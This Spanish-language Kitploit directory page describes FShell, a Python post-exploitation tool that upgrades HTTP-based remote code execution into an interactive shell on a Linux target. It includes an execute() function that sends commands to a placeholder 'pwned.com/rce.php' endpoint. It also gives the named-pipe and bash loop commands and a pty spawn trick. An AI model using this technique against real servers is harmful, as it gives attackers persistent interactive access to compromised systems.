Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
FShell — Mi implementación en python3 de un Forward Shell | Kitploit
Herramientas/GitHubGitHub/hypnoze57/fshell
ExplotaciónPost-ExplotaciónPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubhypnoze57/fshell

FShell

Mi implementación en python3 de un Forward Shell

Ver Repositorio
385hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

FShell

Descripción

FShell es mi implementación de un Forward Shell. Está diseñado para obtener una tty interactiva usando ejecución remota de código a través de un protocolo sin estado (p. ej. HTTP).

¿Por qué debería usar un forward shell?

  • El servidor remoto no puede acceder a internet, no hay posibilidad de reverse shell
  • No quiero que el servidor inicie nuevas conexiones salientes o exponga un nuevo servicio (solo usar el servicio vulnerable expuesto)

Sin embargo, también tiene desventajas

  • Muchas peticiones por segundo (en el caso de un servidor web, generará muchos registros de acceso)
  • No es totalmente interactivo: no hay autocompletado (esto teóricamente podría implementarse pero generaría una enorme cantidad de peticiones), recuerda que tu entrada se envía al script de python y luego al servidor remoto.

La frecuencia de las peticiones puede cambiarse modificando la variable BEACONING_DELAY.

Requisitos

En la máquina del atacante

Python3 y librerías:

  • requests
  • termcolor

En el objetivo

Solo se soporta Linux por ahora y se requieren comandos/herramientas básicos en el sistema remoto:

  • python2 (y el módulo pty)
  • bash
  • mkfifo
  • cat
  • tail
  • ps
  • grep
  • awk
  • kill

Uso

Modifica la variable WRITABLE_FOLDER si /tmp no está disponible para escritura o si tienes algo mejor (prefiere /dev/shm)

Debes redefinir la función execute para realizar tu ejecución remota de código:

root@kitploit:~
def execute(cmd, verbose=False, timeout=None):
    """
    :cmd      Comando shell crudo a ejecutar en el sistema remoto
    :timetout OBLIGATORIO: Se usa para matar el bucle de ejecución bloqueante (usado en la creación del named pipe).
              Si no puedes, pon la creación del named pipe en un hilo separado
    :verbose  Imprime el comando completo ejecutado en el sistema remoto (modo Debug)
    """
    # Pon tu código de RCE aquí
    r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
    return r.text.strip() # Puedes aplicar formato si la salida no es solo la salida del comando

Comandos

  • help_shell: Muestra la ayuda de los comandos
  • get_sessid: Muestra el id de sesión actual en el servidor remoto
  • upgrade_shell: Inicia una pty remota usando python para crear una shell interactiva
  • exit_shell: Limpia 'adecuadamente' la shell remota. Si estás conectado con otro usuario distinto del primero, sal normalmente antes.

Demo

FShell Demo

Cómo funciona

Los conceptos son bastante simples.

Primero necesitas crear un named pipe en el sistema remoto. Se usará para enviar comandos a la shell
mkfifo /tmp/input.

Luego, crea un bucle de bash que lea el named pipe constantemente y lo envíe a un proceso bash interactivo que envíe stdin y stderr a un archivo de salida.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1

[Lectura del named pipe] -> [Ejecutar el contenido del named pipe] -> [Enviar stdin/stderr al archivo de salida] -> [Volver a leer el named pipe debido a la opción '-f' de tail]

La siguiente parte es iniciar un hilo de python que ejecute cat /tmp/output periódicamente para obtener la salida de la shell.
Si el hilo encuentra datos, limpiará el contenido del archivo de salida usando echo '' > /tmp/output
Consejo: Para evitar el registro de errores por un archivo inexistente, el script ejecuta el comando 'id' antes de iniciar el hilo 'GetOutput' para crear el archivo de salida.

Uno de los últimos pasos es obtener la entrada del usuario desde nuestro script de python y enviarla al named pipe
echo USERCMD > /tmp/input

Y el truco final para recuperar una tty remota interactiva es el comando 'upgrade_shell'. Este comando ejecuta un python -c 'import pty;pty.spawn("/bin/bash")' (y algunos exports y aliases) para generar una tty real para el proceso actual (usado en el bucle del named pipe)

Agradecimientos

Gracias a @ippsec, no sabía que algo así era posible antes de ver estos videos Stratosphere HTB Write Up !

¡Espero que lo disfrutes!

Descargar herramienta